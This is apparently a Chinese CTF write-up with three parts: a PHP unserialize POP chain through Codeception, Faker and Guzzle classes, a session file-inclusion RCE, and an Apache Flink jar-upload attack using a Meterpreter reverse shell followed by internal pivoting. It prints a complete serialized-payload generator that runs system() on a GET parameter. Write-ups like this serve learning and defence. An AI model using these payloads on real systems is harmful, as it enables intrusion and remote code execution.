ezyii 入口点:
RunProcess.php中
1 2 3 4 public function __destruct() { $this->stopProcess(); }
stopProcess中
1 2 3 4 5 6 7 public function stopProcess() { foreach (array_reverse($this->processes) as $process) { /** @var $process Process **/ if (!$process->isRunning()) { continue; }
这里的$this->processes
可控,所以可以利用$process->isRunning()
来进行触发DefaultGererator的__call
1 2 3 4 5 6 7 8 class DefaultGenerator { protected $default; public function __call($method, $attributes) { return $this->default; } }
接下来到AppendStream的__toString() -> $this->rewind(); -> $this->seek(0);
seek中
1 2 3 4 5 6 7 8 foreach ($this->streams as $i => $stream) { try { $stream->rewind(); } catch (\Exception $e) { throw new \RuntimeException('Unable to seek stream ' . $i . ' of the AppendStream', 0, $e); } }
streams可控 去指向 rewind() 因此将streams 设为 CachingStream 因此跳到CachingStream中的 rewind
CachingStream中
从rewind -> seek ,seek 中$this->stream 可控
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php namespace Codeception\Extension{ use Faker\DefaultGenerator; use GuzzleHttp\Psr7\AppendStream; class RunProcess{ protected $output; private $processes = []; public function __construct(){ $this->processes[]=new DefaultGenerator(new AppendStream()); $this->output=new DefaultGenerator('jiang'); } } echo base64_encode(serialize(new RunProcess())); } namespace Faker{ class DefaultGenerator { protected $default; public function __construct($default = null) { $this->default = $default; } } } namespace GuzzleHttp\Psr7{ use Faker\DefaultGenerator; final class AppendStream{ private $streams = []; private $seekable = true; public function __construct(){ $this->streams[]=new CachingStream(); } } final class CachingStream{ private $remoteStream; public function __construct(){ $this->remoteStream=new DefaultGenerator(false); $this->stream=new PumpStream(); } } final class PumpStream{ private $source; private $size=-10; private $buffer; public function __construct(){ $this->buffer=new DefaultGenerator('j'); include("closure/autoload.php"); $a = function(){system($_GET['a']);}; $a = \Opis\Closure\serialize($a); $b = unserialize($a); $this->source=$b; } } }
安全检测 fuzz一波内网地址
发现有admin
然后打开发现泄露了文件名
然后再预览这个php文件
测试发现可以文件包含session。
用绕过
发现可以直接rce了,先通过check2.php写入session
再直接包含这个session就可以了
然后列根目录执行读flag就行
层层穿透 Apache-FLink服务,百度到,版本:<= 1.9.1可以任意上传jar包,然后可以直接命令执行,msf上使用的payload为:java/meterpreter/reverse_tcp
上线之后,读下网卡信息,然后代理本机去扫下其他的ip情况。